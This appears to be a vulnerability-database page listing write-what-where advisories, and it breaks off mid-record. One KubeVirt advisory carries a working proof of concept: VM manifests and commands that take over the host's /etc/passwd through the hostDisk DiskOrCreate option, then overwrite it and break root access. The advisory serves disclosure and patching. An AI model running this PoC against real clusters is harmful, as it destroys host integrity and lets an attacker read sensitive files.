Common Weakness Enumeration
CWE-123
AllowedWrite-what-where Condition
Abstraction: Base · Status: Draft
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
82 vulnerabilities reference this CWE, most recent first.
GHSA-454P-PVQJ-9JV5
Vulnerability from github – Published: 2024-02-15 12:30 – Updated: 2024-02-15 12:30
VLAI
Details
Substance3D - Painter versions 9.1.1 and earlier are affected by a Write-what-where Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2024-20741"
],
"database_specific": {
"cwe_ids": [
"CWE-123",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-15T11:15:12Z",
"severity": "HIGH"
},
"details": "Substance3D - Painter versions 9.1.1 and earlier are affected by a Write-what-where Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-454p-pvqj-9jv5",
"modified": "2024-02-15T12:30:51Z",
"published": "2024-02-15T12:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20741"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/substance3d_painter/apsb24-04.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-46XP-26XH-HPQH
Vulnerability from github – Published: 2025-11-07 18:46 – Updated: 2025-11-27 08:53
VLAI
Summary
KubeVirt Vulnerable to Arbitrary Host File Read and Write
Details
Summary
The hostDisk feature in KubeVirt allows mounting a host file or directory owned by the user with UID 107 into a VM. However, the implementation of this feature and more specifically the DiskOrCreate option which creates a file if it doesn't exist, has a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users on the host system.
Details
The hostDisk feature gate in KubeVirt allows mounting a QEMU RAW image directly from the host into a VM. While similar features, such as mounting disk images from a PVC, enforce ownership-based restrictions (e.g., only allowing files owned by specific UID, this mechanism can be subverted. For a RAW disk image to be readable by the QEMU process running within the virt-launcher pod, it must be owned by a user with UID 107. If this ownership check is considered a security barrier, it can be bypassed. In addition, the ownership of the host files mounted via this feature is changed to the user with UID 107.
The above is due to a logic bug in the code of the virt-handler component which prepares and sets the permissions of the volumes and data inside which are going to be mounted in the virt-launcher pod and consecutively consumed by the VM. It is triggered when one tries to mount a host file or directory using the DiskOrCreate option. The relevant code is as follows:
// pkg/host-disk/host-disk.go
func (hdc DiskImgCreator) Create(vmi *v1.VirtualMachineInstance) error {
for _, volume := range vmi.Spec.Volumes {
if hostDisk := volume.VolumeSource.HostDisk; shouldMountHostDisk(hostDisk) {
if err := hdc.mountHostDiskAndSetOwnership(vmi, volume.Name, hostDisk); err != nil {
return err
}
}
}
return nil
}
func shouldMountHostDisk(hostDisk *v1.HostDisk) bool {
return hostDisk != nil && hostDisk.Type == v1.HostDiskExistsOrCreate && hostDisk.Path != ""
}
func (hdc *DiskImgCreator) mountHostDiskAndSetOwnership(vmi *v1.VirtualMachineInstance, volumeName string, hostDisk *v1.HostDisk) error {
diskPath := GetMountedHostDiskPathFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName, hostDisk.Path)
diskDir := GetMountedHostDiskDirFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName)
fileExists, err := ephemeraldiskutils.FileExists(diskPath)
if err != nil {
return err
}
if !fileExists {
if err := hdc.handleRequestedSizeAndCreateSparseRaw(vmi, diskDir, diskPath, hostDisk); err != nil {
return err
}
}
// Change file ownership to the qemu user.
if err := ephemeraldiskutils.DefaultOwnershipManager.UnsafeSetFileOwnership(diskPath); err != nil {
log.Log.Reason(err).Errorf("Couldn't set Ownership on %s: %v", diskPath, err)
return err
}
return nil
}
The root cause lies in the fact that if the specified by the user file does not exist, it is created by the handleRequestedSizeAndCreateSparseRaw function. However, this function does not explicitly set file ownership or permissions. As a result, the logic in mountHostDiskAndSetOwnership proceeds to the branch marked with // Change file ownership to the qemu user, assuming ownership should be applied. This logic fails to account for the scenario where the file already exists and may be owned by a more privileged user.
In such cases, changing file ownership without validating the file's origin introduces a security risk: it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality. This may also enable an External API Attacker to disrupt system availability.
PoC
To demonstrate this vulnerability, the hostDisk feature gate should be enabled when deploying the KubeVirt stack.
# kubevirt-cr.yaml
apiVersion: kubevirt.io/v1
kind: KubeVirt
metadata:
name: kubevirt
namespace: kubevirt
spec:
certificateRotateStrategy: {}
configuration:
developerConfiguration:
featureGates:
- HostDisk
customizeComponents: {}
imagePullPolicy: IfNotPresent
workloadUpdateStrategy: {}
Initially, if one tries to create a VM and mount /etc/passwd from the host using the Disk option which assumes that the file already exists, the following error is returned:
# arbitrary-host-read-write.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: arbitrary-host-read-write
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: arbitrary-host-read-write
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
- name: host-disk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
- name: host-disk
hostDisk:
path: /etc/passwd
type: Disk
# Deploy the above VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml
# Observe the deployment status
operator@minikube:~$ kubectl get vm
NAME AGE STATUS READY
arbitrary-host-read-write 7m55s CrashLoopBackOff False
# Inspect the reason for the `CrashLoopBackOff`
operator@minikube:~$ kubectl get vm arbitrary-host-read-write -o jsonpath='{.status.conditions[3].message}'
server error. command SyncVMI failed: "LibvirtError(Code=1, Domain=10, Message='internal error: process exited while connecting to monitor: 2025-05-20T20:14:01.546609Z qemu-kvm: -blockdev {\"driver\":\"file\",\"filename\":\"/var/run/kubevirt-private/vmi-disks/host-disk/passwd\",\"aio\":\"native\",\"node-name\":\"libvirt-1-storage\",\"read-only\":false,\"discard\":\"unmap\",\"cache\":{\"direct\":true,\"no-flush\":false}}: Could not open '/var/run/kubevirt-private/vmi-disks/host-disk/passwd': Permission denied')"
The hosts's /etc/passwd file's owner and group are 0:0 (root:root) hence, when one tries to deploy the above VirtualMachine definition, it gets a PermissionDenied error because the file is not owned by the user with UID 107 (qemu):
# Inspect the ownership of the host's mounted `/etc/passwd` file within the `virt-launcher` pod responsible for the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-host-read-write-tjjkt -- ls -al /var/run/kubevirt-private/vmi-disks/host-disk/passwd
-rw-r--r--. 1 root root 1276 Jan 13 17:10 /var/run/kubevirt-private/vmi-disks/host-disk/passwd
However, if one uses the DiskOrCreate option, the file's ownership is silently changed to 107:107 (qemu:qemu) before the VM is started which allows the latter to boot, and then read and modify it.
...
hostDisk:
capacity: 1Gi
path: /etc/passwd
type: DiskOrCreate
# Apply the modified manifest
operator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml
# Observe the deployment status
operator@minikube::~$ kubectl get vm
NAME AGE STATUS READY
arbitrary-host-read-write 7m55s Running False
# Initiate a console connection to the running VM
operator@minikube: virtctl console arbitrary-host-read-write
...
# Within the VM arbitrary-host-read-write, inspect the present block devices and their contents
root@arbitrary-host-read-write:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 253:0 0 44M 0 disk
|-vda1 253:1 0 35M 0 part /
`-vda15 253:15 0 8M 0 part
vdb 253:16 0 1M 0 disk
vdc 253:32 0 1.5K 0 disk
root@arbitrary-host-read-write:~$ cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin
systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:999:,,,:/home/docker:/bin/bash
# Write into the block device backed up by the host's `/etc/passwd` file
root@arbitrary-host-read-write:~$ echo "Quarkslab" | tee -a /dev/vdc
If one inspects the file content of the host's /etc/passwd file, they will see that it has changed alongside its ownership:
# Inspect the contents of the file
operator@minikube:~$ cat /etc/passwd
Quarkslab
:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin
systemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:999:,,,:/home/docker:/bin/bash
# Inspect the permissions of the file
operator@minikube:~$ ls -al /etc/passwd
-rw-r--r--. 1 107 systemd-resolve 1276 May 20 20:35 /etc/passwd
# Test the integrity of the system
operator@minikube: $sudo su
sudo: unknown user root
sudo: error initializing audit plugin sudoers_audit
Impact
Host files arbitrary read and write - this vulnerability it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-alpha.0"
},
{
"fixed": "1.7.0-rc.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64324"
],
"database_specific": {
"cwe_ids": [
"CWE-123",
"CWE-200",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-07T18:46:09Z",
"nvd_published_at": "2025-11-18T23:15:55Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `hostDisk` feature in KubeVirt allows mounting a host file or directory owned by the user with UID 107 into a VM. However, the implementation of this feature and more specifically the `DiskOrCreate` option which creates a file if it doesn\u0027t exist, has a logic bug that allows an attacker to read and write arbitrary files owned by more privileged users on the host system.\n\n\n### Details\nThe `hostDisk` feature gate in KubeVirt allows mounting a QEMU RAW image directly from the host into a VM. While similar features, such as mounting disk images from a PVC, enforce ownership-based restrictions (e.g., only allowing files owned by specific UID, this mechanism can be subverted. For a RAW disk image to be readable by the QEMU process running within the `virt-launcher` pod, it must be owned by a user with UID 107. **If this ownership check is considered a security barrier, it can be bypassed**. In addition, the ownership of the host files mounted via this feature is changed to the user with UID 107. \n\nThe above is due to a logic bug in the code of the `virt-handler` component which prepares and sets the permissions of the volumes and data inside which are going to be mounted in the `virt-launcher` pod and consecutively consumed by the VM. It is triggered when one tries to mount a host file or directory using the `DiskOrCreate` option. The relevant code is as follows:\n\n```go\n// pkg/host-disk/host-disk.go\n\nfunc (hdc DiskImgCreator) Create(vmi *v1.VirtualMachineInstance) error {\n\tfor _, volume := range vmi.Spec.Volumes {\n\t\tif hostDisk := volume.VolumeSource.HostDisk; shouldMountHostDisk(hostDisk) {\n\t\t\tif err := hdc.mountHostDiskAndSetOwnership(vmi, volume.Name, hostDisk); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc shouldMountHostDisk(hostDisk *v1.HostDisk) bool {\n\treturn hostDisk != nil \u0026\u0026 hostDisk.Type == v1.HostDiskExistsOrCreate \u0026\u0026 hostDisk.Path != \"\"\n}\n\nfunc (hdc *DiskImgCreator) mountHostDiskAndSetOwnership(vmi *v1.VirtualMachineInstance, volumeName string, hostDisk *v1.HostDisk) error {\n\tdiskPath := GetMountedHostDiskPathFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName, hostDisk.Path)\n\tdiskDir := GetMountedHostDiskDirFromHandler(unsafepath.UnsafeAbsolute(hdc.mountRoot.Raw()), volumeName)\n\tfileExists, err := ephemeraldiskutils.FileExists(diskPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !fileExists {\n\t\tif err := hdc.handleRequestedSizeAndCreateSparseRaw(vmi, diskDir, diskPath, hostDisk); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// Change file ownership to the qemu user.\n\tif err := ephemeraldiskutils.DefaultOwnershipManager.UnsafeSetFileOwnership(diskPath); err != nil {\n\t\tlog.Log.Reason(err).Errorf(\"Couldn\u0027t set Ownership on %s: %v\", diskPath, err)\n\t\treturn err\n\t}\n\treturn nil\n}\n```\n\n\nThe root cause lies in the fact that if the specified by the user file does not exist, it is created by the `handleRequestedSizeAndCreateSparseRaw` function. However, this function does not explicitly set file ownership or permissions. As a result, the logic in `mountHostDiskAndSetOwnership` proceeds to the branch marked with `// Change file ownership to the qemu user`, assuming ownership should be applied. This logic fails to account for the scenario where the file already exists and may be owned by a more privileged user. \nIn such cases, changing file ownership without validating the file\u0027s origin introduces a security risk: it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality. This may also enable an **External API Attacker** to disrupt system availability.\n\n\n### PoC\nTo demonstrate this vulnerability, the `hostDisk` feature gate should be enabled when deploying the KubeVirt stack. \n\n```yaml\n# kubevirt-cr.yaml\napiVersion: kubevirt.io/v1\nkind: KubeVirt\nmetadata:\n name: kubevirt\n namespace: kubevirt\nspec:\n certificateRotateStrategy: {}\n configuration:\n developerConfiguration:\n featureGates:\n - HostDisk\n customizeComponents: {}\n imagePullPolicy: IfNotPresent\n workloadUpdateStrategy: {}\n```\n\n\nInitially, if one tries to create a VM and mount `/etc/passwd` from the host using the `Disk` option which assumes that the file already exists, the following error is returned:\n\n```yaml\n# arbitrary-host-read-write.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: arbitrary-host-read-write\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: arbitrary-host-read-write\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n - name: host-disk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n - name: host-disk\n hostDisk:\n path: /etc/passwd\n type: Disk\n```\n\n\n```bash\n# Deploy the above VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml\n# Observe the deployment status\noperator@minikube:~$ kubectl get vm\nNAME AGE STATUS READY\narbitrary-host-read-write 7m55s CrashLoopBackOff False\n# Inspect the reason for the `CrashLoopBackOff`\noperator@minikube:~$ kubectl get vm arbitrary-host-read-write -o jsonpath=\u0027{.status.conditions[3].message}\u0027\nserver error. command SyncVMI failed: \"LibvirtError(Code=1, Domain=10, Message=\u0027internal error: process exited while connecting to monitor: 2025-05-20T20:14:01.546609Z qemu-kvm: -blockdev {\\\"driver\\\":\\\"file\\\",\\\"filename\\\":\\\"/var/run/kubevirt-private/vmi-disks/host-disk/passwd\\\",\\\"aio\\\":\\\"native\\\",\\\"node-name\\\":\\\"libvirt-1-storage\\\",\\\"read-only\\\":false,\\\"discard\\\":\\\"unmap\\\",\\\"cache\\\":{\\\"direct\\\":true,\\\"no-flush\\\":false}}: Could not open \u0027/var/run/kubevirt-private/vmi-disks/host-disk/passwd\u0027: Permission denied\u0027)\"\n```\n\nThe hosts\u0027s `/etc/passwd` file\u0027s owner and group are `0:0` (`root:root`) hence, when one tries to deploy the above `VirtualMachine` definition, it gets a `PermissionDenied` error because the file is not owned by the user with UID `107` (`qemu`):\n\n\n```bash\n# Inspect the ownership of the host\u0027s mounted `/etc/passwd` file within the `virt-launcher` pod responsible for the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-host-read-write-tjjkt -- ls -al /var/run/kubevirt-private/vmi-disks/host-disk/passwd\n-rw-r--r--. 1 root root 1276 Jan 13 17:10 /var/run/kubevirt-private/vmi-disks/host-disk/passwd\n```\n\nHowever, if one uses the `DiskOrCreate` option, the file\u0027s ownership is silently changed to `107:107` (`qemu:qemu`) before the VM is started which allows the latter to boot, and then read and modify it.\n\n```yaml\n...\nhostDisk:\n capacity: 1Gi\n path: /etc/passwd\n type: DiskOrCreate\n```\n\n```bash\n# Apply the modified manifest\noperator@minikube:~$ kubectl apply -f arbitrary-host-read-write.yaml\n# Observe the deployment status\noperator@minikube::~$ kubectl get vm\nNAME AGE STATUS READY\narbitrary-host-read-write 7m55s Running False\n# Initiate a console connection to the running VM\noperator@minikube: virtctl console arbitrary-host-read-write\n...\n```\n\n```bash\n# Within the VM arbitrary-host-read-write, inspect the present block devices and their contents\nroot@arbitrary-host-read-write:~$ lsblk\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT\nvda 253:0 0 44M 0 disk\n|-vda1 253:1 0 35M 0 part /\n`-vda15 253:15 0 8M 0 part\nvdb 253:16 0 1M 0 disk\nvdc 253:32 0 1.5K 0 disk\nroot@arbitrary-host-read-write:~$ cat /dev/vdc\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin\nsystemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nstatd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\ndocker:x:1000:999:,,,:/home/docker:/bin/bash\n# Write into the block device backed up by the host\u0027s `/etc/passwd` file\nroot@arbitrary-host-read-write:~$ echo \"Quarkslab\" | tee -a /dev/vdc\n```\n\nIf one inspects the file content of the host\u0027s `/etc/passwd` file, they will see that it has changed alongside its ownership:\n\n```bash\n# Inspect the contents of the file\noperator@minikube:~$ cat /etc/passwd\nQuarkslab\n:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin\nsystemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nstatd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\ndocker:x:1000:999:,,,:/home/docker:/bin/bash\n# Inspect the permissions of the file\noperator@minikube:~$ ls -al /etc/passwd\n-rw-r--r--. 1 107 systemd-resolve 1276 May 20 20:35 /etc/passwd\n# Test the integrity of the system\noperator@minikube: $sudo su\nsudo: unknown user root\nsudo: error initializing audit plugin sudoers_audit\n```\n\n### Impact\n\nHost files arbitrary read and write - this vulnerability it can unintentionally grant access to sensitive host files, compromising their integrity and confidentiality.",
"id": "GHSA-46xp-26xh-hpqh",
"modified": "2025-11-27T08:53:21Z",
"published": "2025-11-07T18:46:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64324"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/pull/15037"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/00d03e43e3bf03e563136695a4732b65ed42d764"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/ff3b69b08b6b9c8d08d23735ca8d82455f790a69"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "KubeVirt Vulnerable to Arbitrary Host File Read and Write"
}
GHSA-472C-JR5H-CRH5
Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details
NVIDIA TensorRT-LLM contains a vulnerability where an attacker could cause a write-what-where condition. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.
Severity
7.4 (High)
{
"affected": [],
"aliases": [
"CVE-2026-47473"
],
"database_specific": {
"cwe_ids": [
"CWE-123"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T21:16:56Z",
"severity": "HIGH"
},
"details": "NVIDIA TensorRT-LLM contains a vulnerability where an attacker could cause a write-what-where condition. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.",
"id": "GHSA-472c-jr5h-crh5",
"modified": "2026-07-14T21:32:21Z",
"published": "2026-07-14T21:32:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47473"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47473"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-47JG-VQRV-5F8V
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-07-14 15:31
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
net: skbuff: preserve shared-frag marker during coalescing
skb_try_coalesce() can attach paged frags from @from to @to. If @from has SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same externally-owned or page-cache-backed frags, but the shared-frag marker is currently lost.
That breaks the invariant relied on by later in-place writers. In particular, ESP input checks skb_has_shared_frag() before deciding whether an uncloned nonlinear skb can skip skb_cow_data(). If TCP receive coalescing has moved shared frags into an unmarked skb, ESP can see skb_has_shared_frag() as false and decrypt in place over page-cache backed frags.
Propagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged frags. The tailroom copy path does not need the marker because it copies bytes into @to's linear data rather than transferring frag descriptors.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-46300"
],
"database_specific": {
"cwe_ids": [
"CWE-123",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-23T12:17:02Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: preserve shared-frag marker during coalescing\n\nskb_try_coalesce() can attach paged frags from @from to @to. If @from\nhas SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same\nexternally-owned or page-cache-backed frags, but the shared-frag marker\nis currently lost.\n\nThat breaks the invariant relied on by later in-place writers. In\nparticular, ESP input checks skb_has_shared_frag() before deciding\nwhether an uncloned nonlinear skb can skip skb_cow_data(). If TCP\nreceive coalescing has moved shared frags into an unmarked skb, ESP can\nsee skb_has_shared_frag() as false and decrypt in place over page-cache\nbacked frags.\n\nPropagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged\nfrags. The tailroom copy path does not need the marker because it copies\nbytes into @to\u0027s linear data rather than transferring frag descriptors.",
"id": "GHSA-47jg-vqrv-5f8v",
"modified": "2026-07-14T15:31:59Z",
"published": "2026-05-26T13:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46300"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2026:20032"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23468"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23469"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23470"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23471"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24814"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25044"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:28887"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33486"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34098"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-46300"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477015"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
},
{
"type": "WEB",
